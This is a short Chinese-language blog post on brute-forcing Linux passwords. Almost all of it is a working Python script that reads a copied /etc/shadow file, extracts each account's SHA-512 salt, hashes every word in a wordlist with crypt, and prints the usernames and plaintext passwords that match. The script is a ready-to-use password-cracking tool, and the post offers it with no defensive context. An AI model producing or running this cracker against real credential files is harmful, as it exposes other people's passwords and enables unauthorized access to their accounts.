1. 程式人生 > >“暴力”破解 Linux密碼

“暴力”破解 Linux密碼

1.首先我們需要一個“字典”,換而言之,就是密碼庫,可以用來破解Linux使用者的密碼

2.接下來,我用一個指令碼來給大家簡單的寫一下

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import crypt

def get_info(dfile,wfile):
    f = open(dfile,"r")
    alist = f.readlines()  #密碼作為列表
    f.close()
    wf = open(wfile,"r")
    wlist = wf.readlines()  #字典作為列表
    wf.close()
    
    adir = {}  #資訊已字典的格式儲存
    for i in alist:
        blist = i.split(":")
        if len(blist[1]) > 3:
            adir["name"] = (blist[0])
            adir["passwd"] = (blist[1])
            clist = blist[1].split("$")  #分割出鹽值內容
            salt = "$6$"+clist[2] #鹽值需要字串拼接成為完整鹽值
            adir["salt"] = salt
            for kw in wlist:
                if adir["passwd"] == crypt.crypt(kw.rstrip(),adir["salt"]): #密碼內容對比
                    print(adir["name"],kw.rstrip())

if __name__ == "__main__":
    dfile = "/tmp/shadow"  #密碼檔案
    wfile = "/tmp/wordlist.TXT"  #字典檔案
    get_info(dfile,wfile)